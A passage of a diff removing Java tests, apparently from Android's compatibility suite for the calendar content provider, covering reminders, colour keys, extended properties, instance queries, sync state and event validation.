- assertEquals(Reminders.METHOD_ALERT, method);
- break;
- case 20:
- assertEquals(Reminders.METHOD_SMS, method);
- break;
- default:
- fail("unexpected minutes " + minutes);
- break;
- }
- }
- } finally {
- if (cursor != null) {
- cursor.close();
- }
- }
-
- /*
- * Use the bulk update feature to change all METHOD_DEFAULT to METHOD_EMAIL. To make
- * this more interesting we first change remId3 to METHOD_DEFAULT.
- */
- int count;
- ContentValues newValues = new ContentValues();
- newValues.put(Reminders.METHOD, Reminders.METHOD_DEFAULT);
- count = mContentResolver.update(ContentUris.withAppendedId(Reminders.CONTENT_URI, remId3),
- newValues, null, null);
- assertEquals(1, count);
-
- newValues.put(Reminders.METHOD, Reminders.METHOD_EMAIL);
- count = mContentResolver.update(Reminders.CONTENT_URI, newValues,
- Reminders.EVENT_ID + "=? AND " + Reminders.METHOD + "=?",
- new String[] {
- String.valueOf(eventId1), String.valueOf(Reminders.METHOD_DEFAULT)
- });
- assertEquals(2, count);
-
- // check it
- int method = ReminderHelper.lookupMethod(mContentResolver, remId3);
- assertEquals(Reminders.METHOD_EMAIL, method);
-
- /*
- * Delete some / all reminders and confirm that hasAlarm tracks it.
- *
- * You can also remove reminders from an event by updating the event_id column, but
- * that's defined as producing undefined behavior, so we don't do it here.
- */
- count = mContentResolver.delete(Reminders.CONTENT_URI,
- Reminders.EVENT_ID + "=? AND " + Reminders.MINUTES + ">=?",
- new String[] { String.valueOf(eventId1), "15" });
- assertEquals(2, count);
- hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId1);
- assertEquals(1, hasAlarm);
-
- // Delete all reminders from both events.
- count = mContentResolver.delete(Reminders.CONTENT_URI,
- Reminders.EVENT_ID + "=? OR " + Reminders.EVENT_ID + "=?",
- new String[] { String.valueOf(eventId1), String.valueOf(eventId2) });
- assertEquals(2, count);
- hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId1);
- assertEquals(0, hasAlarm);
- hasAlarm = EventHelper.lookupHasAlarm(mContentResolver, eventId2);
- assertEquals(0, hasAlarm);
-
- /*
- * Add a couple of reminders and then delete one with the by-ID URI.
- */
- long remId4 = ReminderHelper.addReminder(mContentResolver, eventId1,
- 10, Reminders.METHOD_EMAIL);
- long remId5 = ReminderHelper.addReminder(mContentResolver, eventId1,
- 15, Reminders.METHOD_EMAIL);
- count = mContentResolver.delete(ContentUris.withAppendedId(Reminders.CONTENT_URI, remId4),
- null, null);
- assertEquals(1, count);
-
- removeAndVerifyCalendar(account, calendarId);
- }
-
- /**
- * A listener for the EVENT_REMINDER broadcast that is expected to be fired by the
- * provider at the reminder time.
- */
- public class MockReminderReceiver extends BroadcastReceiver {
- public boolean received = false;
-
- @Override
- public void onReceive(Context context, Intent intent) {
- final String action = intent.getAction();
- if (action.equals(CalendarContract.ACTION_EVENT_REMINDER)) {
- received = true;
- }
- }
- }
-
- /**
- * Test that reminders result in the expected broadcast at reminder time.
- */
- public void testRemindersAlarm() throws Exception {
- // Setup: register a mock listener for the broadcast we expect to fire at the
- // reminder time.
- final MockReminderReceiver reminderReceiver = new MockReminderReceiver();
- IntentFilter filter = new IntentFilter(CalendarContract.ACTION_EVENT_REMINDER);
- filter.addDataScheme("content");
- getInstrumentation().getTargetContext().registerReceiver(reminderReceiver, filter);
-
- // Clean up just in case.
- String account = "rem_account";
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create calendar. Use '1' as seed as this sets the VISIBLE field to 1.
- // The calendar must be visible for its notifications to occur.
- long calendarId = createAndVerifyCalendar(account, 1, null);
-
- // Create event for 15 min in the past, with a 10 min reminder, so that it will
- // trigger immediately.
- ContentValues eventValues;
- int seed = 0;
- long now = System.currentTimeMillis();
- eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
- eventValues.put(Events.DTSTART, now - DateUtils.MINUTE_IN_MILLIS * 15);
- eventValues.put(Events.DTEND, now + DateUtils.HOUR_IN_MILLIS);
- long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
- assertTrue(eventId >= 0);
- ReminderHelper.addReminder(mContentResolver, eventId, 10, Reminders.METHOD_ALERT);
-
- // Confirm that the EVENT_REMINDER broadcast was fired by the provider.
- new PollingCheck(POLLING_TIMEOUT) {
- @Override
- protected boolean check() {
- return reminderReceiver.received;
- }
- }.run();
- assertTrue(reminderReceiver.received);
-
- removeAndVerifyCalendar(account, calendarId);
- }
-
- @MediumTest
- public void testColorWriteRequirements() {
- String account = "colw_account";
- String account2 = "colw2_account";
- int seed = 0;
- Uri uri = asSyncAdapter(Colors.CONTENT_URI, account, CTS_TEST_TYPE);
- Uri uri2 = asSyncAdapter(Colors.CONTENT_URI, account2, CTS_TEST_TYPE);
-
- // Clean up just in case
- ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
- ColorHelper.deleteColorsByAccount(mContentResolver, account2, CTS_TEST_TYPE);
-
- ContentValues colorValues = new ContentValues();
- // Account name/type must be in the query params, so may be left
- // out here
- colorValues.put(Colors.DATA, "0");
- colorValues.put(Colors.COLOR_KEY, "1");
- colorValues.put(Colors.COLOR_TYPE, 0);
- colorValues.put(Colors.COLOR, 0xff000000);
-
- // Verify only a sync adapter can write to Colors
- try {
- mContentResolver.insert(Colors.CONTENT_URI, colorValues);
- fail("Should not allow non-sync adapter to insert colors");
- } catch (IllegalArgumentException e) {
- // WAI
- }
-
- // Verify everything except DATA is required
- ContentValues testVals = new ContentValues(colorValues);
- for (String key : colorValues.keySet()) {
-
- testVals.remove(key);
- try {
- Uri colUri = mContentResolver.insert(uri, testVals);
- if (!TextUtils.equals(key, Colors.DATA)) {
- // The DATA field is allowed to be empty.
- fail("Should not allow color creation without " + key);
- }
- ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
- } catch (IllegalArgumentException e) {
- if (TextUtils.equals(key, Colors.DATA)) {
- // The DATA field is allowed to be empty.
- fail("Should allow color creation without " + key);
- }
- }
- testVals.put(key, colorValues.getAsString(key));
- }
-
- // Verify writing a color works
- Uri col1 = mContentResolver.insert(uri, colorValues);
-
- // Verify adding the same color fails
- try {
- mContentResolver.insert(uri, colorValues);
- fail("Should not allow adding the same color twice");
- } catch (IllegalArgumentException e) {
- // WAI
- }
-
- // Verify specifying a different account than the query params doesn't work
- colorValues.put(Colors.ACCOUNT_NAME, account2);
- try {
- mContentResolver.insert(uri, colorValues);
- fail("Should use the account from the query params, not the values.");
- } catch (IllegalArgumentException e) {
- // WAI
- }
-
- // Verify adding a color to a different account works
- Uri col2 = mContentResolver.insert(uri2, colorValues);
-
- // And a different index on the same account
- colorValues.put(Colors.COLOR_KEY, "2");
- Uri col3 = mContentResolver.insert(uri2, colorValues);
-
- // Verify that all three colors are in the table
- Cursor c = ColorHelper.findColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
- assertEquals(1, c.getCount());
- c.close();
- c = ColorHelper.findColorsByAccount(mContentResolver, account2, CTS_TEST_TYPE);
- assertEquals(2, c.getCount());
- c.close();
-
- // Verify deleting them works
- ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
- ColorHelper.deleteColorsByAccount(mContentResolver, account2, CTS_TEST_TYPE);
-
- c = ColorHelper.findColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
- assertEquals(0, c.getCount());
- c.close();
- c = ColorHelper.findColorsByAccount(mContentResolver, account2, CTS_TEST_TYPE);
- assertEquals(0, c.getCount());
- c.close();
- }
-
- /**
- * Tests Colors interaction with the Calendars table.
- */
- @MediumTest
- public void testCalendarColors() {
- String account = "cc_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
- ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
-
- // Test inserting a calendar with an invalid color index
- ContentValues cv = CalendarHelper.getNewCalendarValues(account, seed++);
- cv.put(Calendars.CALENDAR_COLOR_KEY, "badIndex");
- Uri calSyncUri = asSyncAdapter(Calendars.CONTENT_URI, account, CTS_TEST_TYPE);
- Uri colSyncUri = asSyncAdapter(Colors.CONTENT_URI, account, CTS_TEST_TYPE);
-
- try {
- Uri uri = mContentResolver.insert(calSyncUri, cv);
- fail("Should not allow insertion of invalid color index into Calendars");
- } catch (IllegalArgumentException e) {
- // WAI
- }
-
- // Test updating a calendar with an invalid color index
- long calendarId = createAndVerifyCalendar(account, seed++, null);
- cv.clear();
- cv.put(Calendars.CALENDAR_COLOR_KEY, "badIndex2");
- Uri calendarUri = ContentUris.withAppendedId(Calendars.CONTENT_URI, calendarId);
- try {
- mContentResolver.update(calendarUri, cv, null, null);
- fail("Should not allow update of invalid color index into Calendars");
- } catch (IllegalArgumentException e) {
- // WAI
- }
-
- assertTrue(ColorHelper.addDefaultColorsToAccount(mContentResolver, account, CTS_TEST_TYPE));
-
- // Test that inserting a valid color index works
- cv = CalendarHelper.getNewCalendarValues(account, seed++);
- cv.put(Calendars.CALENDAR_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_0]);
-
- Uri uri = mContentResolver.insert(calSyncUri, cv);
- long calendarId2 = ContentUris.parseId(uri);
- assertTrue(calendarId2 >= 0);
- // And updates the calendar's color to the one in the table
- cv.put(Calendars.CALENDAR_COLOR, ColorHelper.DEFAULT_COLORS[ColorHelper.C_COLOR_0]);
- verifyCalendar(account, cv, calendarId2, 2);
-
- // Test that updating a valid color index also updates the color in a
- // calendar
- cv.clear();
- cv.put(Calendars.CALENDAR_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_0]);
- mContentResolver.update(calendarUri, cv, null, null);
- Cursor c = mContentResolver.query(calendarUri,
- new String[] { Calendars.CALENDAR_COLOR_KEY, Calendars.CALENDAR_COLOR },
- null, null, null);
- try {
- c.moveToFirst();
- String index = c.getString(0);
- int color = c.getInt(1);
- assertEquals(index, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_0]);
- assertEquals(color, ColorHelper.DEFAULT_COLORS[ColorHelper.C_COLOR_0]);
- } finally {
- if (c != null) {
- c.close();
- }
- }
-
- // And clearing it doesn't change the color
- cv.put(Calendars.CALENDAR_COLOR_KEY, (String) null);
- mContentResolver.update(calendarUri, cv, null, null);
- c = mContentResolver.query(calendarUri,
- new String[] { Calendars.CALENDAR_COLOR_KEY, Calendars.CALENDAR_COLOR },
- null, null, null);
- try {
- c.moveToFirst();
- String index = c.getString(0);
- int color = c.getInt(1);
- assertEquals(index, null);
- assertEquals(ColorHelper.DEFAULT_COLORS[ColorHelper.C_COLOR_0], color);
- } finally {
- if (c != null) {
- c.close();
- }
- }
-
- // Test that setting a calendar color to an event color fails
- cv.put(Calendars.CALENDAR_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_0]);
- try {
- mContentResolver.update(calendarUri, cv, null, null);
- fail("Should not allow a calendar to use an event color");
- } catch (IllegalArgumentException e) {
- // WAI
- }
-
- // Test that you can't remove a color that is referenced by a calendar
- cv.put(Calendars.CALENDAR_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_3]);
- mContentResolver.update(calendarUri, cv, null, null);
-
- try {
- mContentResolver.delete(colSyncUri, ColorHelper.WHERE_COLOR_ACCOUNT_AND_INDEX,
- new String[] {
- account, CTS_TEST_TYPE,
- ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_3]
- });
- fail("Should not allow deleting referenced color");
- } catch (UnsupportedOperationException e) {
- // WAI
- }
-
- // Clean up
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
- ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
- }
-
- /**
- * Tests Colors interaction with the Events table.
- */
- @MediumTest
- public void testEventColors() {
- String account = "ec_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
- ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
-
- // Test inserting an event with an invalid color index
- long cal_id = createAndVerifyCalendar(account, seed++, null);
-
- Uri colSyncUri = asSyncAdapter(Colors.CONTENT_URI, account, CTS_TEST_TYPE);
-
- ContentValues ev = EventHelper.getNewEventValues(account, seed++, cal_id, false);
- ev.put(Events.EVENT_COLOR_KEY, "badIndex");
-
- try {
- Uri uri = mContentResolver.insert(Events.CONTENT_URI, ev);
- fail("Should not allow insertion of invalid color index into Events");
- } catch (IllegalArgumentException e) {
- // WAI
- }
-
- // Test updating an event with an invalid color index fails
- long event_id = createAndVerifyEvent(account, seed++, cal_id, false, null);
- ev.clear();
- ev.put(Events.EVENT_COLOR_KEY, "badIndex2");
- Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, event_id);
- try {
- mContentResolver.update(eventUri, ev, null, null);
- fail("Should not allow update of invalid color index into Events");
- } catch (IllegalArgumentException e) {
- // WAI
- }
-
- assertTrue(ColorHelper.addDefaultColorsToAccount(mContentResolver, account, CTS_TEST_TYPE));
-
- // Test that inserting a valid color index works
- ev = EventHelper.getNewEventValues(account, seed++, cal_id, false);
- final String defaultColorIndex = ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_0];
- ev.put(Events.EVENT_COLOR_KEY, defaultColorIndex);
-
- Uri uri = mContentResolver.insert(Events.CONTENT_URI, ev);
- long eventId2 = ContentUris.parseId(uri);
- assertTrue(eventId2 >= 0);
- // And updates the event's color to the one in the table
- final int expectedColor = ColorHelper.DEFAULT_COLORS[ColorHelper.E_COLOR_0];
- ev.put(Events.EVENT_COLOR, expectedColor);
- verifyEvent(ev, eventId2);
-
- // Test that event iterator has COLOR columns
- final EntityIterator iterator = EventsEntity.newEntityIterator(mContentResolver.query(
- ContentUris.withAppendedId(EventsEntity.CONTENT_URI, eventId2),
- null, null, null, null), mContentResolver);
- assertTrue("Empty Iterator", iterator.hasNext());
- final Entity entity = iterator.next();
- final ContentValues values = entity.getEntityValues();
- assertTrue("Missing EVENT_COLOR", values.containsKey(EventsEntity.EVENT_COLOR));
- assertEquals("Wrong EVENT_COLOR",
- expectedColor,
- (int) values.getAsInteger(EventsEntity.EVENT_COLOR));
- assertTrue("Missing EVENT_COLOR_KEY", values.containsKey(EventsEntity.EVENT_COLOR_KEY));
- assertEquals("Wrong EVENT_COLOR_KEY",
- defaultColorIndex,
- values.getAsString(EventsEntity.EVENT_COLOR_KEY));
- iterator.close();
-
- // Test that updating a valid color index also updates the color in an
- // event
- ev.clear();
- ev.put(Events.EVENT_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_1]);
- mContentResolver.update(eventUri, ev, null, null);
- Cursor c = mContentResolver.query(eventUri, new String[] {
- Events.EVENT_COLOR_KEY, Events.EVENT_COLOR
- }, null, null, null);
- try {
- c.moveToFirst();
- String index = c.getString(0);
- int color = c.getInt(1);
- assertEquals(index, ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_1]);
- assertEquals(color, ColorHelper.DEFAULT_COLORS[ColorHelper.E_COLOR_1]);
- } finally {
- if (c != null) {
- c.close();
- }
- }
-
- // And clearing it doesn't change the color
- ev.put(Events.EVENT_COLOR_KEY, (String) null);
- mContentResolver.update(eventUri, ev, null, null);
- c = mContentResolver.query(eventUri, new String[] {
- Events.EVENT_COLOR_KEY, Events.EVENT_COLOR
- }, null, null, null);
- try {
- c.moveToFirst();
- String index = c.getString(0);
- int color = c.getInt(1);
- assertEquals(index, null);
- assertEquals(ColorHelper.DEFAULT_COLORS[ColorHelper.E_COLOR_1], color);
- } finally {
- if (c != null) {
- c.close();
- }
- }
-
- // Test that setting an event color to a calendar color fails
- ev.put(Events.EVENT_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.C_COLOR_2]);
- try {
- mContentResolver.update(eventUri, ev, null, null);
- fail("Should not allow an event to use a calendar color");
- } catch (IllegalArgumentException e) {
- // WAI
- }
-
- // Test that you can't remove a color that is referenced by an event
- ev.put(Events.EVENT_COLOR_KEY, ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_1]);
- mContentResolver.update(eventUri, ev, null, null);
- try {
- mContentResolver.delete(colSyncUri, ColorHelper.WHERE_COLOR_ACCOUNT_AND_INDEX,
- new String[] {
- account, CTS_TEST_TYPE,
- ColorHelper.DEFAULT_INDICES[ColorHelper.E_COLOR_1]
- });
- fail("Should not allow deleting referenced color");
- } catch (UnsupportedOperationException e) {
- // WAI
- }
-
- // TODO test colors with exceptions
-
- // Clean up
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
- ColorHelper.deleteColorsByAccount(mContentResolver, account, CTS_TEST_TYPE);
- }
-
- /**
- * Tests creation and manipulation of ExtendedProperties.
- */
- @MediumTest
- public void testExtendedProperties() {
- String account = "ep_account";
- int seed = 0;
-
- // Clean up just in case.
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create calendar.
- long calendarId = createAndVerifyCalendar(account, seed++, null);
-
- // Create events.
- ContentValues eventValues;
- eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
- long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
- assertTrue(eventId1 >= 0);
-
- /*
- * Add some extended properties.
- */
- long epId1 = ExtendedPropertiesHelper.addExtendedProperty(mContentResolver, account,
- eventId1, "first", "Jeffrey");
- long epId2 = ExtendedPropertiesHelper.addExtendedProperty(mContentResolver, account,
- eventId1, "last", "Lebowski");
- long epId3 = ExtendedPropertiesHelper.addExtendedProperty(mContentResolver, account,
- eventId1, "title", "Dude");
-
- /*
- * Spot-check a couple of entries.
- */
- Cursor cursor = ExtendedPropertiesHelper.findExtendedPropertiesByEventId(mContentResolver,
- eventId1);
- try {
- assertEquals(3, cursor.getCount());
- //DatabaseUtils.dumpCursor(cursor);
-
- while (cursor.moveToNext()) {
- String name =
- cursor.getString(ExtendedPropertiesHelper.EXTENDED_PROPERTIES_NAME_INDEX);
- String value =
- cursor.getString(ExtendedPropertiesHelper.EXTENDED_PROPERTIES_VALUE_INDEX);
-
- if (name.equals("last")) {
- assertEquals("Lebowski", value);
- }
- }
-
- String title = ExtendedPropertiesHelper.lookupValueByName(mContentResolver, eventId1,
- "title");
- assertEquals("Dude", title);
- } finally {
- if (cursor != null) {
- cursor.close();
- }
- }
-
- // Update the title. Must be done as a sync adapter.
- ContentValues newValues = new ContentValues();
- newValues.put(ExtendedProperties.VALUE, "Big");
- Uri uri = ContentUris.withAppendedId(ExtendedProperties.CONTENT_URI, epId3);
- uri = asSyncAdapter(uri, account, CTS_TEST_TYPE);
- int count = mContentResolver.update(uri, newValues, null, null);
- assertEquals(1, count);
-
- // check it
- String title = ExtendedPropertiesHelper.lookupValueByName(mContentResolver, eventId1,
- "title");
- assertEquals("Big", title);
-
- removeAndVerifyCalendar(account, calendarId);
- }
-
- private class CalendarEventHelper {
-
- private long mCalendarId;
- private String mAccount;
- private int mSeed;
-
- public CalendarEventHelper(String account, int seed) {
- mAccount = account;
- mSeed = seed;
- ContentValues values = CalendarHelper.getNewCalendarValues(account, seed);
- mCalendarId = createAndVerifyCalendar(account, seed++, values);
- }
-
- public ContentValues addEvent(String timeString, int timeZoneIndex, long duration) {
- long event1Start = timeInMillis(timeString, timeZoneIndex);
- ContentValues eventValues;
- eventValues = EventHelper.getNewEventValues(mAccount, mSeed++, mCalendarId, true);
- eventValues.put(Events.DESCRIPTION, timeString);
- eventValues.put(Events.DTSTART, event1Start);
- eventValues.put(Events.DTEND, event1Start + duration);
- eventValues.put(Events.EVENT_TIMEZONE, TIME_ZONES[timeZoneIndex]);
- long eventId = createAndVerifyEvent(mAccount, mSeed, mCalendarId, true, eventValues);
- assertTrue(eventId >= 0);
- return eventValues;
- }
-
- public long getCalendarId() {
- return mCalendarId;
- }
- }
-
- /**
- * Test query to retrieve instances within a certain time interval.
- */
- public void testWhenByDayQuery() {
- String account = "cser_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create a calendar
- CalendarEventHelper helper = new CalendarEventHelper(account, seed);
-
- // Add events to the calendar--the first two in the queried range
- List<ContentValues> eventsWithinRange = new ArrayList<ContentValues>();
-
- ContentValues values = helper.addEvent("2009-10-01T08:00:00", 0, DateUtils.HOUR_IN_MILLIS);
- eventsWithinRange.add(values);
-
- values = helper.addEvent("2010-10-01T08:00:00", 0, DateUtils.HOUR_IN_MILLIS);
- eventsWithinRange.add(values);
-
- helper.addEvent("2011-10-01T08:00:00", 0, DateUtils.HOUR_IN_MILLIS);
-
- // Prepare the start time and end time of the range to query
- String startTime = "2009-01-01T00:00:00";
- String endTime = "2011-01-01T00:00:00";
- int julianStart = getJulianDay(startTime, 0);
- int julianEnd = getJulianDay(endTime, 0);
- Uri uri = Uri.withAppendedPath(
- CalendarContract.Instances.CONTENT_BY_DAY_URI, julianStart + "/" + julianEnd);
-
- // Query the range, sorting by event start time
- Cursor c = mContentResolver.query(uri, null, Instances.CALENDAR_ID + "="
- + helper.getCalendarId(), null, Events.DTSTART);
-
- // Assert that two events are returned
- assertEquals(c.getCount(), 2);
-
- Set<String> keySet = new HashSet();
- keySet.add(Events.DESCRIPTION);
- keySet.add(Events.DTSTART);
- keySet.add(Events.DTEND);
- keySet.add(Events.EVENT_TIMEZONE);
-
- // Verify that the contents of those two events match the cursor results
- verifyContentValuesAgainstCursor(eventsWithinRange, keySet, c);
- }
-
- private void verifyContentValuesAgainstCursor(List<ContentValues> cvs,
- Set<String> keys, Cursor cursor) {
- assertEquals(cursor.getCount(), cvs.size());
-
- cursor.moveToFirst();
-
- int i=0;
- do {
- ContentValues cv = cvs.get(i);
- for (String key : keys) {
- assertEquals(cv.get(key).toString(),
- cursor.getString(cursor.getColumnIndex(key)));
- }
- i++;
- } while (cursor.moveToNext());
-
- cursor.close();
- }
-
- private long timeInMillis(String timeString, int timeZoneIndex) {
- Time startTime = new Time(TIME_ZONES[timeZoneIndex]);
- startTime.parse3339(timeString);
- return startTime.toMillis(false);
- }
-
- private int getJulianDay(String timeString, int timeZoneIndex) {
- Time time = new Time(TIME_ZONES[timeZoneIndex]);
- time.parse3339(timeString);
- return Time.getJulianDay(time.toMillis(false), time.gmtoff);
- }
-
- /**
- * Test instance queries with search parameters.
- */
- @MediumTest
- public void testInstanceSearch() {
- String account = "cser_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create a calendar
- ContentValues values = CalendarHelper.getNewCalendarValues(account, seed);
- long calendarId = createAndVerifyCalendar(account, seed++, values);
-
- String testStart = "2009-10-01T08:00:00";
- String timeZone = TIME_ZONES[0];
- Time startTime = new Time(timeZone);
- startTime.parse3339(testStart);
- long startMillis = startTime.toMillis(false);
-
- // Create some events, with different descriptions. (Could also create a single
- // recurring event and some instance exceptions.)
- ContentValues eventValues;
- eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
- eventValues.put(Events.DESCRIPTION, "testevent event-one fiddle");
- eventValues.put(Events.DTSTART, startMillis);
- eventValues.put(Events.DTEND, startMillis + DateUtils.HOUR_IN_MILLIS);
- eventValues.put(Events.EVENT_TIMEZONE, timeZone);
- long eventId1 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
- assertTrue(eventId1 >= 0);
-
- eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
- eventValues.put(Events.DESCRIPTION, "testevent event-two fuzzle");
- eventValues.put(Events.DTSTART, startMillis + DateUtils.HOUR_IN_MILLIS);
- eventValues.put(Events.DTEND, startMillis + DateUtils.HOUR_IN_MILLIS * 2);
- eventValues.put(Events.EVENT_TIMEZONE, timeZone);
- long eventId2 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
- assertTrue(eventId2 >= 0);
-
- eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
- eventValues.put(Events.DESCRIPTION, "testevent event-three fiddle");
- eventValues.put(Events.DTSTART, startMillis + DateUtils.HOUR_IN_MILLIS * 2);
- eventValues.put(Events.DTEND, startMillis + DateUtils.HOUR_IN_MILLIS * 3);
- eventValues.put(Events.EVENT_TIMEZONE, timeZone);
- long eventId3 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
- assertTrue(eventId3 >= 0);
-
- eventValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
- eventValues.put(Events.DESCRIPTION, "nontestevent");
- eventValues.put(Events.DTSTART, startMillis + (long) (DateUtils.HOUR_IN_MILLIS * 1.5f));
- eventValues.put(Events.DTEND, startMillis + DateUtils.HOUR_IN_MILLIS * 2);
- eventValues.put(Events.EVENT_TIMEZONE, timeZone);
- long eventId4 = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
- assertTrue(eventId4 >= 0);
-
- String rangeStart = "2009-10-01T00:00:00";
- String rangeEnd = "2009-10-01T11:59:59";
- String[] projection = new String[] { Instances.BEGIN };
-
- if (false) {
- Cursor instances = getInstances(timeZone, rangeStart, rangeEnd, projection,
- new long[] { calendarId });
- dumpInstances(instances, timeZone, "all");
- instances.close();
- }
-
- Cursor instances;
- int count;
-
- // Find all matching "testevent". The search matches on partial strings, so this
- // will also pick up "nontestevent".
- instances = getInstancesSearch(timeZone, rangeStart, rangeEnd,
- "testevent", false, projection, new long[] { calendarId });
- count = instances.getCount();
- instances.close();
- assertEquals(4, count);
-
- // Find all matching "fiddle" and "event". Set the "by day" flag just to be different.
- instances = getInstancesSearch(timeZone, rangeStart, rangeEnd,
- "fiddle event", true, projection, new long[] { calendarId });
- count = instances.getCount();
- instances.close();
- assertEquals(2, count);
-
- // Find all matching "fiddle" and "baluchitherium".
- instances = getInstancesSearch(timeZone, rangeStart, rangeEnd,
- "baluchitherium fiddle", false, projection, new long[] { calendarId });
- count = instances.getCount();
- instances.close();
- assertEquals(0, count);
-
- // Find all matching "event-two".
- instances = getInstancesSearch(timeZone, rangeStart, rangeEnd,
- "event-two", false, projection, new long[] { calendarId });
- count = instances.getCount();
- instances.close();
- assertEquals(1, count);
-
- removeAndVerifyCalendar(account, calendarId);
- }
-
- @MediumTest
- public void testCalendarUpdateAsApp() {
- String account = "cu1_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create a calendar
- ContentValues values = CalendarHelper.getNewCalendarValues(account, seed);
- long id = createAndVerifyCalendar(account, seed++, values);
-
- Uri uri = ContentUris.withAppendedId(Calendars.CONTENT_URI, id);
-
- // Update the calendar using the direct Uri
- ContentValues updateValues = CalendarHelper.getUpdateCalendarValuesWithOriginal(
- values, seed++);
- assertEquals(1, mContentResolver.update(uri, updateValues, null, null));
-
- verifyCalendar(account, values, id, 1);
-
- // Update the calendar using selection + args
- String selection = Calendars._ID + "=?";
- String[] selectionArgs = new String[] { Long.toString(id) };
-
- updateValues = CalendarHelper.getUpdateCalendarValuesWithOriginal(values, seed++);
-
- assertEquals(1, mContentResolver.update(
- Calendars.CONTENT_URI, updateValues, selection, selectionArgs));
-
- verifyCalendar(account, values, id, 1);
-
- removeAndVerifyCalendar(account, id);
- }
-
- // TODO test calendar updates as sync adapter
-
- /**
- * Test access to the "syncstate" table.
- */
- @MediumTest
- public void testSyncState() {
- String account = "ss_account";
- int seed = 0;
-
- // Clean up just in case
- SyncStateHelper.deleteSyncStateByAccount(mContentResolver, account, true);
-
- // Create a new sync state entry
- ContentValues values = SyncStateHelper.getNewSyncStateValues(account);
- long id = createAndVerifySyncState(account, values);
-
- // Look it up with the by-ID URI
- Cursor c = SyncStateHelper.getSyncStateById(mContentResolver, id);
- assertNotNull(c);
- assertEquals(1, c.getCount());
- c.close();
-
- // Try to remove it as non-sync-adapter; expected to fail.
- boolean failed;
- try {
- SyncStateHelper.deleteSyncStateByAccount(mContentResolver, account, false);
- failed = false;
- } catch (IllegalArgumentException iae) {
- failed = true;
- }
- assertTrue("deletion of sync state by app was allowed", failed);
-
- // Remove it and verify that it's gone
- removeAndVerifySyncState(account);
- }
-
-
- private void verifyEvent(ContentValues values, long eventId) {
- Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
- // Verify
- Cursor c = mContentResolver
- .query(eventUri, EventHelper.EVENTS_PROJECTION, null, null, null);
- assertEquals(1, c.getCount());
- assertTrue(c.moveToFirst());
- assertEquals(eventId, c.getLong(0));
- for (String key : values.keySet()) {
- int index = c.getColumnIndex(key);
- assertEquals(key, values.getAsString(key), c.getString(index));
- }
- c.close();
- }
-
- @MediumTest
- public void testEventCreationAndDeletion() {
- String account = "ec1_account";
- int seed = 0;
-
- // Clean up just in case
- CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
-
- // Create calendar and event
- long calendarId = createAndVerifyCalendar(account, seed++, null);
-
- ContentValues eventValues = EventHelper
- .getNewEventValues(account, seed++, calendarId, true);
- long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
-
- Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
-
- removeAndVerifyEvent(eventUri, eventValues, account);
-
- // Attempt to create an event without a calendar ID.
- ContentValues badValues = EventHelper.getNewEventValues(account, seed++, calendarId, true);
- badValues.remove(Events.CALENDAR_ID);
- try {
- createAndVerifyEvent(account, seed, calendarId, true, badValues);
- fail("was allowed to create an event without CALENDAR_ID");
- } catch (IllegalArgumentException iae) {
- // expected
- }
-
- // Validation may be relaxed for content providers, so test missing timezone as app.
- badValues = EventHelper.getNewEventValues(account, seed++, calendarId, false);
- badValues.remove(Events.EVENT_TIMEZONE);
- try {
- createAndVerifyEvent(account, seed, calendarId, false, badValues);
- fail("was allowed to create an event without EVENT_TIMEZONE");
- } catch (IllegalArgumentException iae) {
- // expected
- }
-
